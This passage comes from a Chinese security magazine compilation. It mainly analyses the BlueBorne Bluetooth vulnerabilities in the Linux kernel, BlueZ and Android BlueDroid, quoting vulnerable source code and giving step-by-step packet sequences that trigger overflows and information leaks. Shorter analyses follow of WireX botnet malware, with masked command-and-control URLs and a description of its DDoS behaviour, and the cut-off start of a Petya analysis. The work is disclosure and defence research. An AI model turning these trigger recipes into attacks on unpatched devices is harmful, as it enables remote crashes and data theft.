
  

    switch (cid) { 

    case L2CAP_CID_SIGNALING: 
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        l2cap_sig_channel(conn, skb); 

        break; 

  

    case L2CAP_CID_CONN_LESS: 

        psm = get_unaligned((__le16 *) skb->data); 

        skb_pull(skb, L2CAP_PSMLEN_SIZE); 

        l2cap_conless_channel(conn, psm, skb); 

        break; 

  

    case L2CAP_CID_LE_SIGNALING: 

        l2cap_le_sig_channel(conn, skb); 

        break; 

  

    default: 

        l2cap_data_channel(conn, cid, skb); 

        break; 

    } 

3，底层 L2CAP 的连接，cid 固定是 L2CAP_CID_SIGNALING，于是会走

l2cap_sig_channel，l2cap_sig_channel 得到的是剥离了头部的 L2CAP 的数据，这一部将把

数据里的 cmd 头部解析并剥离，再传给 l2cap_bredr_sig_cmd 进行处理： 

static inline void l2cap_sig_channel(struct l2cap_conn *conn, 

                     struct sk_buff *skb) 

{ 

    ... 

    while (len >= L2CAP_CMD_HDR_SIZE) { 

        u16 cmd_len; 

        memcpy(&cmd, data, L2CAP_CMD_HDR_SIZE);  //取得 cmd 头部数据 

        data += L2CAP_CMD_HDR_SIZE; 

        len  -= L2CAP_CMD_HDR_SIZE; 

  

        cmd_len = le16_to_cpu(cmd.len);  //取得 cmd 的大小 

    ... 

        err = l2cap_bredr_sig_cmd(conn, &cmd, cmd_len, data); //传给 l2cap_bredr_sig_cmd 处理 

    ... 

        data += cmd_len; 

        len  -= cmd_len; 
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    } 

  

drop: 

    kfree_skb(skb); 

} 

到这里，我们应该能得出 L2CAP 协议的数据结构： 

  

4， 随后数据进入到了 l2cap_bredr_sig_cmd 函数进行处理。这里也就是处理 L2CAP

各种请求的核心函数了：  

static inline int l2cap_bredr_sig_cmd(struct l2cap_conn *conn, 

                      struct l2cap_cmd_hdr *cmd, u16 cmd_len, 

                      u8 *data) 

{ 

    int err = 0; 

  

    switch (cmd->code) { 

    case L2CAP_CONN_REQ: 

        err = l2cap_connect_req(conn, cmd, cmd_len, data); 

        break; 

  

    case L2CAP_CONN_RSP: 

    case L2CAP_CREATE_CHAN_RSP: 

        l2cap_connect_create_rsp(conn, cmd, cmd_len, data); 

        break; 

  

    case L2CAP_CONF_REQ: 

        err = l2cap_config_req(conn, cmd, cmd_len, data); 

        break; 

  

    case L2CAP_CONF_RSP:  

        l2cap_config_rsp(conn, cmd, cmd_len, data);  //漏洞函数 
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        break; 

    ... 

    case L2CAP_INFO_REQ: 

        err = l2cap_information_req(conn, cmd, cmd_len, data); 

        break; 

  

    case L2CAP_INFO_RSP: 

        l2cap_information_rsp(conn, cmd, cmd_len, data); 

        break; 

    ... 

    } 

  

    return err; 

} 

好了，接下来终于可以分析漏洞了。我们的漏洞发生在对 L2CAP_CONFIG_RSP（config 

response）这个 cmd 的处理上。其实漏洞分析 armis 的 paper 已经写的很详尽了，我这里

也就权当翻译了吧，然后再加点自己的理解。那么来看 l2cap_config_rsp:  

static inline int l2cap_config_rsp(struct l2cap_conn *conn, 

                   struct l2cap_cmd_hdr *cmd, u16 cmd_len, 

                   u8 *data) 

{ 

    struct l2cap_conf_rsp *rsp = (struct l2cap_conf_rsp *)data; 

    ... 

      

    scid   = __le16_to_cpu(rsp->scid);   //从包中剥离出 scid 

    flags  = __le16_to_cpu(rsp->flags);  //从包中剥离出 flag 

    result = __le16_to_cpu(rsp->result); //从包中剥离出 result 

      

    switch (result) { 

    case L2CAP_CONF_SUCCESS: 

        l2cap_conf_rfc_get(chan, rsp->data, len); 

        clear_bit(CONF_REM_CONF_PEND, &chan->conf_state); 

        break; 

  

    case L2CAP_CONF_PENDING: 

        set_bit(CONF_REM_CONF_PEND, &chan->conf_state); 
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        if (test_bit(CONF_LOC_CONF_PEND, &chan->conf_state)) {  //判断 conf_state 是否是

CONF_LOC_CONF_PEND 

            char buf[64]; //buf 数组大小 64 字节 

  

            len = l2cap_parse_conf_rsp(chan, rsp->data, len, 

                           buf, &result);   //data 仍然是包中数据，len 也是包中数据。 

            ... 

        } 

        goto done; 

    ... 

当收到的数据包里，满足 result == L2CAP_CONF_PENDING，且自身的连接状态

conf_state == CONF_LOC_CONF_PEND 的时候，会走到 l2cap_parse_conf_rsp 函数里，

而且传过去的 buf 是个长度为 64 的数据，参数 len ，参数 rsp->data 都是由包中的内容来

任意确定。那么在 l2cap_parse_conf_rsp 函数里： 

static int l2cap_parse_conf_rsp(struct l2cap_chan *chan, void *rsp, int len, 

                void *data, u16 *result) 

{ 

    struct l2cap_conf_req *req = data; 

    void *ptr = req->data; 

    int type, olen; 

    unsigned long val; 

  

    while (len >= L2CAP_CONF_OPT_SIZE) { //len 没有被检查，由接收到的包内容控制 

        len -= l2cap_get_conf_opt(&rsp, &type, &olen, &val); 

  

        switch (type) { 

        case L2CAP_CONF_MTU: 

            if (val < L2CAP_DEFAULT_MIN_MTU) { 

                *result = L2CAP_CONF_UNACCEPT; 

                chan->imtu = L2CAP_DEFAULT_MIN_MTU; 

            } else 

                chan->imtu = val; 

            l2cap_add_conf_opt(&ptr, L2CAP_CONF_MTU, 2, chan->imtu); 

            break; 

        case ... 



  安全客-2017 年季刊-第 3 期 

—268— 
 

         

        } 

    } 

} 

  

static void l2cap_add_conf_opt(void **ptr, u8 type, u8 len, unsigned long val) 

{ 

    struct l2cap_conf_opt *opt = *ptr; 

    opt->type = type; 

    opt->len  = len; 

  

    switch (len) { 

    case 1: 

        *((u8 *) opt->val)  = val; 

        break; 

  

    case 2: 

        put_unaligned_le16(val, opt->val); 

        break; 

  

    case 4: 

        put_unaligned_le32(val, opt->val); 

        break; 

  

    default: 

        memcpy(opt->val, (void *) val, len); 

        break; 

    } 

  

    *ptr += L2CAP_CONF_OPT_SIZE + len; 

} 

仔细阅读这个函数的代码可以知道，这个函数的功能就是根据传进来的包，来构造将要发

出去的包。而数据的出口就是传进去的 64 字节大小的 buf。但是对传入的包的数据的长度并

没有做检验，那么当 len 很大时，就会一直往出口 buf 里写数据，比如有 64 个

L2CAP_CONF_MTU 类型的 opt，那么就会往 buf 里写上 64*(L2CAP_CONF_OPT_SIZE + 2)

个字节，那么显然这里就发生了溢出。由于 buf 是栈上定义的数据结构，那么这里就是一个栈
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溢出。 不过值得注意的是，代码要走进去，需要 conf_state == CONF_LOC_CONF_PEND，

这个状态是在处理 L2CAP_CONF_REQ 数据包的时候设置的： 

static int l2cap_parse_conf_req(struct l2cap_chan *chan, void *data) 

{ 

    ... 

    u8 remote_efs = 0; 

    u16 result = L2CAP_CONF_SUCCESS; 

    ... 

    while (len >= L2CAP_CONF_OPT_SIZE) { 

        len -= l2cap_get_conf_opt(&req, &type, &olen, &val);   

          

        hint  = type & L2CAP_CONF_HINT; 

        type &= L2CAP_CONF_MASK; 

  

        switch (type) { 

        ... 

        case L2CAP_CONF_EFS: 

            remote_efs = 1;  //【1】 

            if (olen == sizeof(efs)) 

                memcpy(&efs, (void *) val, olen); 

            break; 

        ... 

    } 

  

done: 

    ... 

    if (result == L2CAP_CONF_SUCCESS) { 

        ... 

        if (remote_efs) { 

            if (chan->local_stype != L2CAP_SERV_NOTRAFIC &&    

                efs.stype != L2CAP_SERV_NOTRAFIC &&   //【2】 

                efs.stype != chan->local_stype) { 

  

                ... 

            } else { 

                /* Send PENDING Conf Rsp */ 

                result = L2CAP_CONF_PENDING; 
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                set_bit(CONF_LOC_CONF_PEND, &chan->conf_state);  //这里设置 CONF_LOC_CONF_PEND 

            } 

        } 

} 

当收到 L2CAP_CONF_REQ 的包中包含有 L2CAP_CONF_EFS 类型的数据【1】，而且

L2CAP_CONF_EFS 数据的 stype == L2CAP_SERV_NOTRAFIC【2】的时候，conf_state 会

被置 CONF_LOC_CONF_PEND 

到这里，这个漏洞触发的思路也就清楚了： 

1，建立和目标机器的 L2CAP 连接，这里注意 sock_type 的选择要是 SOCK_RAW，如

果不是，内核会自动帮我们完成 sent_infomation_request, send_connection_request, 

send_configure_request 这些操作，也就无法触发目标机器的漏洞了。  

2，建立 SOCK_RAW 连接，connect 的时候，会自动完成 sent_infomation_request 的

操作，不过这个不影响。  

3，接下来我们需要完成 send_connection_request 操作，来确定 SCID,DCID。完成这

个操作的过程是发送合法的 L2CAP_CONN_REQ 数据包。  

4，接下来需要发送包含有 L2CAP_CONF_EFS 类型的数据，而且 L2CAP_CONF_EFS 数

据的 stype ==L2CAP_SERV_NOTRAFIC 的 L2CAP_CONF_REQ 包，这一步是为了让目标机

器的 conf_state 变成 CONF_LOC_CONF_PEND。  

5，这里就到了发送 cmd_len 很长的 L2CAP_CONN_RSP 包了。这个包的 result 字段需

要是 L2CAP_CONF_PENDING。那么这个包发过去之后，目标机器就内核栈溢出了，要么重

启了，要么死机了。 

这个漏洞是这几个漏洞里，触发最难的。 

CVE-2017-1000250 

这个漏洞是 BlueZ 的 SDP 服务里的信息泄露漏洞。这个不像 L2CAP 层的连接那么复杂，

主要就是上层服务，收到数据就进行处理。那么我们也只需要关注处理的函数。 之前说过，

BlueZ 的 SDP 收到数据是从 io_session_event 开始。之后，数据的流向是： 

osessionevent-->handlerequest-->processrequest 
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有必要介绍一下 SDP 协议的数据结构：  它有一个 sdp_pud_hdr 的头部，头部数据里

定义了 PUD 命令的类型，tid，以及 pdu parameter 的长度，然后就是具体的 parameter。

最后一个字段是 continuation state，当一个包发不完所要发送的数据的时候，这个字段就会

有效。对与这个字段，BlueZ 给了它一个定义： 

typedef struct { 

    uint32_t timestamp; 

    union { 

        uint16_t maxBytesSent; 

        uint16_t lastIndexSent; 

    } cStateValue; 

} sdp_cont_state_t; 

对于远程的连接，PDU 命令类型只能是这三个：SDP_SVC_SEARCH_REQ, 

SDP_SVC_ATTR_REQ, SDP_SVC_SEARCH_ATTR_REQ。这个漏洞呢，出现在对

SDP_SVC_SEARCH_ATTR_REQ 命令的处理函数里面 service_search_attr_req 。这个函数

有点长，就直接说它干了啥，不贴代码了： 

1， extract_des(pdata, data_left, &pattern, &dtd, SDP_TYPE_UUID); 解析 service 

search pattern（对应 SDP 协议数据结构图）  

2，max = getbe16(pdata); 获得 Maximu Attribute Byte  

3，scanned = extract_des(pdata, data_left, &seq, &dtd, SDP_TYPE_ATTRID);解析

Attribute ID list  

4，if (sdp_cstate_get(pdata, data_left, &cstate) < 0) ;获取 continuation state 状态

cstate，如果不为 0，则将包里的 continuation state 数据复制给 cstate. 

漏洞发生在对 cstate 状态不为 0 的时候的处理，我们重点看这部分的代码：  
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sdp_buf_t *pCache = sdp_get_cached_rsp(cstate); 

        if (pCache) { 

            uint16_t sent = MIN(max, pCache->data_size - cstate->cStateValue.maxBytesSent); 

            pResponse = pCache->data; 

            memcpy(buf->data, pResponse + cstate->cStateValue.maxBytesSent, sent); //【1】     

            buf->data_size += sent; 

            cstate->cStateValue.maxBytesSent += sent; 

            if (cstate->cStateValue.maxBytesSent == pCache->data_size) 

                cstate_size = sdp_set_cstate_pdu(buf, NULL); 

            else 

                cstate_size = sdp_set_cstate_pdu(buf, cstate); 

sdp_get_cached_rsp 函数其实是对 cstate 的 timestamp 值的检验，如何过这个检验之

后再说。当代码走到【1】处的 memcpy 时，由于 cstate->maxBytesSent 就是由数据包里

的数据所控制，而且没有做任何检验，所以这里可以为任意的 uint16t 值。那么很明显，这里

就出现了一个对 pResponse 的越界读的操作。而越界读的数据还会通过 SDP RESPONSE 发

送给攻击方，那么一个信息泄露就发生了。 

写这个 poc 需要注意 sdp_get_cached_rsp 的检验的绕过，那么首先需要得到一个

timestamp。当一次发送的包不足以发送完所有的数据的时候，会设置 cstate 状态，所以如

果我们发给服务端的包里，max 字段非常小，那么服务端就会给我们回应一个带 cstate 状态

的包，这里面会有 timestamp:  

if (cstate == NULL) { 

        ... 

        if (buf->data_size > max) {  //max 可由接收到的包数据指定 

            sdp_cont_state_t newState; 

  

            memset((char *)&newState, 0, sizeof(sdp_cont_state_t)); 

            newState.timestamp = sdp_cstate_alloc_buf(buf); //这里得到一个 timestamp 

      

            buf->data_size = max; 

            newState.cStateValue.maxBytesSent = max; 

            cstate_size = sdp_set_cstate_pdu(buf, &newState); //回应的包中，写上 cstate 状态。 

        } else 

            cstate_size = sdp_set_cstate_pdu(buf, NULL); 

所以，我们的 poc 应该是这个步骤：  
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1,建立 SDP 连接。这里我们的 socket 需要是 SOCK_STREAM 类型，而且 connet 的时

候，addr 的 psm 字段要是 0x0001。关于连接的 PSM：  

 

2，发送一个不带 cstate 状态的数据包，而且指定 Maximu Attribute Byte 的值非常小。

这一步是为了让服务端给我们返回一个带 timestamp 的包。  

3，接收这个带 timestamp 的包，并将 timestamp 提取。  

4，发送一个带 cstate 状态的数据包，cstate 的 timestamp 是指定为提取出来的值，服

务端 memcpy 的时候，则就会把 pResponse+maxBytesSent 的内容发送给我们，读取这个

数据包，则就获取了泄露的数据。 

CVE-2017-0785 

这个漏洞也是 SDP 的信息泄露漏洞，不过是 BlueDroid 的。与 BlueZ 的那个是有些类似

的。我们也从对 SDP 数据包的处理函数说起。 SDP 数据包会通过 sdp_data_ind 函数送给

sdp_server_handle_client_req。与 BlueZ 一样，这个函数也会根据包中的 pud_id 来确定具
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体的处理函数。这个漏洞发生在对 SDP_PDU_SERVICE_SEARCH_REQ 命令的处理，对包内

数据的解析与上文 BlueZ 中的大同小异，不过注意在 BlueDroid 中，cstate 结构与 BlueZ 中

有些不同： 

typedef struct { 

  

    uint16_t cont_offset; 

  

} sdp_cont_state_t; 

这里主要看漏洞： 

①, BE_STREAM_TO_UINT16 (max_replies, p_req);从包中解析出 Maximu Attribute Byte 

  

②， for (num_rsp_handles = 0; num_rsp_handles < max_replies; )  

    { 

        p_rec = sdp_db_service_search (p_rec, &uid_seq); 

  

        if (p_rec) 

            rsp_handles[num_rsp_handles++] = p_rec->record_handle; 

        else 

            break; 

    } 

  

③, /* Check if this is a continuation request */ 

    if (*p_req) 

    { 

        if (*p_req++ != SDP_CONTINUATION_LEN || (p_req >= p_req_end)) 

        { 

            sdpu_build_n_send_error (p_ccb, trans_num, SDP_INVALID_CONT_STATE, 

                                     SDP_TEXT_BAD_CONT_LEN); 

            return; 

        } 

        BE_STREAM_TO_UINT16 (cont_offset, p_req);  //从包中得到 cont_offset 

  

        if (cont_offset != p_ccb->cont_offset)  //对 cont_offset 的检验 

        { 

            sdpu_build_n_send_error (p_ccb, trans_num, SDP_INVALID_CONT_STATE, 

                                     SDP_TEXT_BAD_CONT_INX); 
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            return; 

        } 

  

        rem_handles = num_rsp_handles - cont_offset;    /* extract the remaining handles */ 

    } 

   else 

    {  

        rem_handles = num_rsp_handles; 

        cont_offset = 0; 

        p_ccb->cont_offset = 0; 

    } 

  

④， cur_handles = (UINT16)((p_ccb->rem_mtu_size - SDP_MAX_SERVICE_RSPHDR_LEN) / 4); 

  

    if (rem_handles <= cur_handles) 

        cur_handles = rem_handles; 

    else /* Continuation is set */ 

    { 

        p_ccb->cont_offset += cur_handles; 

        is_cont = TRUE; 

    } 

  

⑤， for (xx = cont_offset; xx < cont_offset + cur_handles; xx++) 

        UINT32_TO_BE_STREAM (p_rsp, rsp_handles[xx]); 

①，②中代码可以看出，变量 num_rsp_handles 的值，一定程度上可以由包中的 Maximu 

Attribute Byte 字段控制。 ③中代码是对带 cstate 的包的处理，第一步是对大小的检查，第

二步是获得 cont_offset，然后对 cont_offset 进行检查，第三步就到了 rem_handles = 

num_rsp_handles - cont_offset  可以思考一种情况，如果 num_rsp_handles < 

cont_offset，那么这个代码就会发生整数的下溢，而 num_rsp_handles 在一定程度上我们可

以控制，而且是可以控制它变成０，那么只要 cont_offset 不为０，这里就会发生整数下溢。

发生下溢的结果给了 rem_handles，而这个变量代表的是还需要发送的数据数。 在④中，如

果 rem_handles 是发生了下溢的结果，由于它是 uint16_t 类型，那么它将变成一个很大的数，

所以会走到 pccb->cont_offset += cur_handles;,cur_handles 是一个固定的值，那么如果
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这个下溢的过程，发生很多次，pccb->cont_offset 就会变得很大，那么在５处，就会有一个

对 rsp_handles 数组的越界读的产生。 

下面的操作可以让这个越界读发生：  

１，发送一个不带 cstate 的包， 而且 Maximu Attribute Byte 字段设置的比较大。那

么结果就是 rem_handles = num_rsp_handles，而由于 max_replies 比较大，所以

num_rsp_handles 会成为一个比较大的值。只要在④中保证 rem_handles > cur_handles，

那么 pccb->cont_offset 就会成为一个非０值 cur_handles。这一步是为了使得

pccb->cont_offset 成为一个非０值。  

２，接收服务端的回应包，这个回应包里的 cstate 字段将会含有刚刚的

pccb->cont_offset 值，我们取得这个值。  

３，发送一个带 cstate 的包，cont_offset 指定为刚刚提取的值，而且设置 Maximu 

Attribute Byte 字段为０。那么服务端收到这个包后，就会走到 rem_handles = 

num_rsp_handles - cont_offset 从而发生整数下溢，同时 pccb->cont_offset 又递增一个

cur_handles 大小。  

４，重复２和３的过程，那么 pccb->cont_offset 将越来越大，从而在⑤出发生越界读，

我们提取服务端返回的数据，就可以获得泄露的信息的内容。 

CVE-2017-0781 

现在我们到了 BNEP 服务。BNEP 的协议格式，下面两张图可以说明的很清楚： 

 

 

BlueDroid 中 BNEP 服务对于接受到的数据包的处理也不复杂：  
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1,解析得到 BNEP_TYPE，得到 extension 位。  

2,检查连接状态，如果已经连接则后续可以处理非 BNEP_FRAME_CONTROL 的包，如果

没有建立连接，则后续只处理 BNEP_FRAME_CONTROL 的包。  

3,去 BNEP_TYPE 对应的处理函数进行处理。  

4,对于 BNEP_TYPE 不是 BNEP_FRAME_CONTROL 而且有 extension 位的，还需要对

extension 的数据进行处理。  

5,调用 pan 层的回调函数。 

值得注意的是，BNEP 连接真正建立起来，需要先处理一个合法的

BNEP_FRAME_CONTROL 数据包。 CVE-2017-0781 正是连接还没建立起来，在处理

BNEP_FRAME_CONTROL 时所发生的问题：  

case BNEP_FRAME_CONTROL: 

        ctrl_type = *p; 

        p = bnep_process_control_packet (p_bcb, p, &rem_len, FALSE); 

  

        if (ctrl_type == BNEP_SETUP_CONNECTION_REQUEST_MSG && 

            p_bcb->con_state != BNEP_STATE_CONNECTED && 

            extension_present && p && rem_len) 

        { 

            p_bcb->p_pending_data = (BT_HDR *)osi_malloc(rem_len); 

            memcpy((UINT8 *)(p_bcb->p_pending_data + 1), p, rem_len); 

            p_bcb->p_pending_data->len    = rem_len; 

            p_bcb->p_pending_data->offset = 0; 

        } 

上述代码中，malloc 了一个 remlen 的大小，这个是和收到的数据包的长度相关的。可

是 memcpy 的时候，却是从 pbcb->p_pending_data＋１开始拷贝数据，那么这里会直接溢

出一个 sizeof(*(pbcb->p_pending_data))大小的内容。这个大小是 8.所以只要代码走到这，

就会有一个 8 字节大小的堆溢出。而要走到这，只需要过那个 if 的判断条件，而这个 if 其实

是对 BNEP_SETUP_CONNECTION_REQUEST_MSG 命令处理失败后的错误处理函数。那么

只要发送一个错误的 BNEP_SETUP_CONNECTION_REQUEST_MSG 命令包，就可以进入到

这段代码了触发堆溢出了。 

所以我们得到 poc 的编写过程：  
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１，建立 BNEP 连接，这个和 SDP 类似，只是需要指定 PSM 为 BNEP 对应的 0x000F。  

２，发送一个 BNEPTYPE 为 BNEP_FRAME_CONTROL，extension 字段为１，ctrl_type

为 BNEP_SETUP_CONNECTION_REQUEST_MSG 的错误的 BNEP 包：  

 

CVE-2017-0782 

这个也是由于 BNEP 协议引起的漏洞，首先它是个整数溢出，整数溢出导致的后果是堆溢

出。 问题出在 BNEP 对 extension 字段的处理上：  

UINT8 *bnep_process_control_packet (tBNEP_CONN *p_bcb, UINT8 *p, UINT16 *rem_len, BOOLEAN is_ext) 

{ 

    UINT8       control_type; 

    BOOLEAN     bad_pkt = FALSE; 

    UINT16      len, ext_len = 0; 

  

    if (is_ext) 

    { 

        ext_len = *p++; 【１】 

        *rem_len = *rem_len - 1; 

    } 

  

    control_type = *p++; 

    *rem_len = *rem_len - 1; 

  

    switch (control_type) 

    { 

    ... 

    default : 

        bnep_send_command_not_understood (p_bcb, control_type); 

        if (is_ext) 

        { 

            p += (ext_len - 1); 

            *rem_len -= (ext_len - 1); 【２】 
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        } 

        break; 

    } 

  

    if (bad_pkt) 

    { 

        BNEP_TRACE_ERROR ("BNEP - bad ctl pkt length: %d", *rem_len); 

        *rem_len = 0; 

        return NULL; 

    } 

  

    return p; 

} 

上述代码中，【１】的 ext_len 从数据包中获得，没有长度的检查，可为任意值。而当

control_type 为一个非法值的时候，会走到【２】,那么这里就很有说法了，我们如果设置

ext_len 比较大，那么这里就会发生一个整数下溢。从而使得 rem_len 变成一个很大的 uint16_t

的值。这个值将会影响后续的处理： 

    while (extension_present && p && rem_len) 

    { 

        ext_type = *p; 

        extension_present = ext_type >> 7; 

        ext_type &= 0x7F; 

        ... 

        p++; 

        rem_len--; 

        p = bnep_process_control_packet (p_bcb, p, &rem_len, TRUE); 【１】 

    } 

  

    p_buf->offset += p_buf->len - rem_len;   

    p_buf->len     = rem_len;  【２】 

      

    ... 

    if (bnep_cb.p_data_buf_cb) 

    { 

        (*bnep_cb.p_data_buf_cb)(p_bcb->handle, p_src_addr, p_dst_addr, protocol, p_buf,  

fw_ext_present);  【３】 
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    } 

  ... 

        osi_free(p_buf); 

    } 

上面的代码中，【１】处将发生整数下溢出，使得 rem_len 成为一个很大的值（比如 0xfffd），

【２】处会将这个值赋值给 p_buf->len。【３】处是回调函数处理这个 p_buf，在 BlueDroid

中这个函数是 pan_data_buf_ind_cb，这个函数会有一条路径调到

bta_pan_data_buf_ind_cback，而在这个函数中： 

static void bta_pan_data_buf_ind_cback(UINT16 handle, BD_ADDR src, BD_ADDR dst, UINT16 protocol, BT_HDR 

*p_buf, 

                                   BOOLEAN ext, BOOLEAN forward) 

{ 

    tBTA_PAN_SCB *p_scb; 

    BT_HDR *p_new_buf; 

  

    if (sizeof(tBTA_PAN_DATA_PARAMS) > p_buf->offset) { 

        /* offset smaller than data structure in front of actual data */ 

        p_new_buf = (BT_HDR *)osi_malloc(PAN_BUF_SIZE); 

        memcpy((UINT8 *)(p_new_buf + 1) + sizeof(tBTA_PAN_DATA_PARAMS), 

               (UINT8 *)(p_buf + 1) + p_buf->offset, p_buf->len); 

        p_new_buf->len    = p_buf->len; 

        p_new_buf->offset = sizeof(tBTA_PAN_DATA_PARAMS); 

        osi_free(p_buf); 

    } else { 

    ... 

} 

memcpy 用到了我们传进来的 pbuf，而 pbuf->len 是刚刚下溢之后的很大的值，所以

主要保证 tBTA_PAN_DATA_PARAMS> pbuf->offset，这里就会发生一次很大字节的堆溢出。 

代码首先要走到 extension 的处理，这个的前提是连接状态是

BNEP_STATE_CONNECTED。而这个状态的建立，需要服务端先接收一个正确的

BNEP_SETUP_CONNECTION_REQUEST_MSG 请求包，同时要想 pan_data_buf_ind_cb 调

用到 bta_pan_data_buf_ind_cback 产生堆溢出，需要在建立连接的时候指定 UUID 为
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UUID_SERV_CLASS_PANU 可以阅读这两个函数来找到这样做的原因，这里就不再贴代码了。

清楚这一点之后，我们就可以构造我们的 poc 了：  

１，建立 BNEP 连接，这里只是建立起初步的连接，conn_state 还不是

BNEP_STATE_CONNECTED，这一步通过 connect 实现  

２，发送一个正确的 BNEP_SETUP_CONNECTION_REQUEST_MSG 请求包，同时指定

UUID 为 UUID_SERV_CLASS_PANU。这个包将是这样子： 

 

3，发送一个 extension 字段可导致整数下溢的包，而且注意控制 pbuf->offset 变得比

较小：  

 

这样 PoC 就完成了。 CVE-2017-0781 和 CVE-2017-0782 导致了堆溢出，一般会使得

com.android.bluetooth 崩溃，但是这个进程崩溃系统不会有提醒，需要去 logcat 来找崩溃

的日志。这是两个很有品质的堆溢出漏洞，结合前面的信息泄露漏洞，是完全可以转化为远程

代码执行的。 

0x03 

这篇分析到这里也就结束了，蓝牙出漏洞是个比较危险的事情，希望没有修补的能尽快修

补，补丁链接如下： 

CVE-2017-1000250 

CVE-2017-1000251 

CVE-2017-0785 

CVE-2017-0781 

CVE-2017-0782 
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确定自己是否有漏洞可以用我们提供的 poc 呀，关于蓝牙漏洞的研究，也希望能和各位

多多交流。 

参考文档 

1,https://www.armis.com/blueborne/     

2,http://blog.csdn.net/rain0993/article/details/8533246     

3,https://people.csail.mit.edu/albert/bluez-intro/index.html     

0x04 

360Vulpecker Team: 隶属于 360 公司信息安全部，致力于保护公司所有 Android App

及手机的安全，同时专注于移动安全研究，研究重点为安卓 APP 安全和安卓 OEM 手机安全。 

团队定制了公司内部安卓产品安全开发规范，自主开发并维护了在线 Android 应用安全审计

系统“360 显危镜”，在大大提高工作效率的同时也为开发者提供了便捷的安全自测平台。同

时研究发现了多个安卓系统上的通用型漏洞，如通用拒绝服务漏洞、“寄生兽”漏洞等，影响

范围几乎包括市面上所有应用。 该团队高度活跃在谷歌、三星、华为等各大手机厂商的致谢

名单中，挖掘的漏洞屡次获得 CVE 编号及致谢，在保证 360 产品安全的前提下，团队不断对

外输出安全技术，为移动互联网安全贡献一份力量。 

完全免费的 APP 安全风险在线扫描服务入口：http://appscan.360.cn/   

http://appscan.360.cn/
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【团队】360 网络安全响应中心 
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【木马分析】 

 “WireX Botnet”事件 Android 样本分析报告 

作者：360 烽火实验室 

原文来源：【安全客】http://bobao.360.cn/learning/detail/4326.html 

C&C 服务器地址 

WireX 家族病毒基本上都会在内部硬编码存放两个 URL 地址（部分变种的 URL 经过加密），

变种 A 在内部硬编码了如下两个 URL ： 

http://u.*******.store/?utm_source=tfikztteuic 

http://g.*******.store/?utm_source=tfikztteuic 

这些 URL 地址是病毒的 C&C Server 的地址，用于返回要攻击的网站的信息，不同之处

在于，对这两个 URL 返回的信息，处理方式不同，执行的恶意行为也不同。 

UDP Flood 攻击 

对于以 u 开头的 URL 地址，比如 ： 

http://u.*******.store/?utm_source=tfikztteuic 

（实际测试不能正常返回数据，以下是根据代码逻辑进行描述的），返回数据分为两部分，

一个要攻击的主机地址，一个是端口，中间使用字符串“snewxwri”分割，代码中对返回数

据处理如下：  
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获得主机地址和端口号之后，会创建 50 个线程，每个线程中都会连接该主机和端口，开

启 socket 之后，使用 udp 协议发送随机数据，每次回发送 512 个字节的数据，一个线程中

一共会发送 10000000 (一千万)次，也就是 10000000512=5120000000 字节的数据，因

为一共实现了创建了 50 个线程，所以，理论上会发送 10000000512*50=256000000000

（2560 亿）字节，实现代码如下所示： 

  

http://p3.qhimg.com/t01d6664dfc7c8c8669.jpg
http://p2.qhimg.com/t01f27fe21929793d47.png
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Deceptive Access Attack 

对于以 g 开头的 URL 地址， 比如  

http://g.*******.store/?utm_source=tfikztteuic 

，返回数据分为 3 部分，分别是访问要攻击的网站的 URL、UserAgent 和 Referer，使

用硬编码的字符串（比如 snewxwri ）进行分割，代码中对返回数据处理如下：  

http://p7.qhimg.com/t016d48046c29ae31ca.png
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获得要攻击网站用到的 URL、UserAgent 和 Referer 后，会创建 20 个 Webview，然

后使用每个 WebView 访问要攻击的网站，代码实现如下： 

http://p1.qhimg.com/t01238dc42668d687a9.jpg
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Deceptive Click Attack 

变种 B 内置了 2 个 URL 地址，如下：  

http://ww68.c.********.us/?utm_source=tfikztteuic 

http://ww68.d.********.us/?utm_source=tfikztteuic 

请求这两个 URL 返回的数据是类似的，都是在 HTML 的 title 中设置了一段内容，这段

内容使用一个硬编码的字符串（比如”eindoejy”）分隔成 3 或者 4 部分，前 3 部分都是一样

的，一个 URL，一段 JS 代码，一个 UserAgent，后面可能还有一个字段，猜测为国家名字

缩写，该样本中为 CN（代表中国？）。请求你的地址和返回的数据，类似下图： 

http://p7.qhimg.com/t01611aa77bff39fde9.png
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该病毒对这些数据的处理方式是，使用 WebView 加载返回 URL，然后在页面加载完成

后，执行那段 JS 代码，JS 代码的功能是从页面中所有的 URL link（通过查找 html 的 a 标签

获得）中，随机挑选一个，模拟鼠标事件进行点击，实现代码如下： 

http://p1.qhimg.com/t013cb2db25e537e6ec.jpg
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实现模拟鼠标点击 JS 代码如下： 

http://p3.qhimg.com/t0152969275c01084b0.jpg
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Attack Controller 

上述几种攻击的实现都是位于某个 Android Service 中，那么这几种攻击是怎么启动的呢？

通过逆向分析 APK 得知, 该 APK 注册了监听某些事件的 Broadcast Receiver，比如 network 

connectivity change、device admin enabled 等，在这些 Receiver 中，会启动 Attack 

Controller 这个 Service， Attack Controller 负责启动各种 Attack，代码实现如下： 

  

http://p9.qhimg.com/t012875db5f4f7ecb55.png
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不同的变种，实现方式有些差别，攻击的强度也又有所差别，这个变种中，每隔 55 秒都

会重启一次攻击。 

受影响 app 列表(部分) 

 

详细内容请看： 

https://appscan.io/monitor.html?id=59a4ddf60272383df95153ea 

360 烽火实验室 

360 烽火实验室，致力于 Android 病毒分析、移动黑产研究、移动威胁预警以及 Android

漏洞挖掘等移动安全领域及 Android 安全生态的深度研究。作为全球顶级移动安全生态研究

实验室，360 烽火实验室在全球范围内首发了多篇具备国际影响力的 Android 木马分析报告

和 Android 木马黑色产业链研究报告。实验室在为 360 手机卫士、360 手机急救箱、360 手

机助手等提供核心安全数据和顽固木马清除解决方案的同时，也为上百家国内外厂商、应用商

店等合作伙伴提供了移动应用安全检测服务，全方位守护移动安全。 

https://appscan.io/monitor.html?id=59a4ddf60272383df95153ea
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http://blogs.360.cn/360mobile/files/2016/09/image1-1.png
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Petya 变种勒索蠕虫启动代码分析 

作者：360 烽火实验室 

原文来源：【安全客】http://bobao.360.cn/learning/detail/4169.html 

背景 

继 5 月的 WannaCry 勒索蠕虫事件以后，2017 年 6 月又出现了 Petya 变种勒索蠕虫，

除了利用永恒之蓝漏洞和加密勒索以后，Petya 变种与 WannaCry 有比较大的差别。

WannaCry 会加密机器上的文件，导致数据损毁，而 Petya 更为激进，它会加密系统的 MBR

直接导致机器无法启动，本文对其执行的 MBR 及文件系统的加密机制做详细的分析。 

恶意代码分析 

由于执行恶意操作的指令并不是以文件形式存在，我们使用 WinHex 工具提取受攻击机

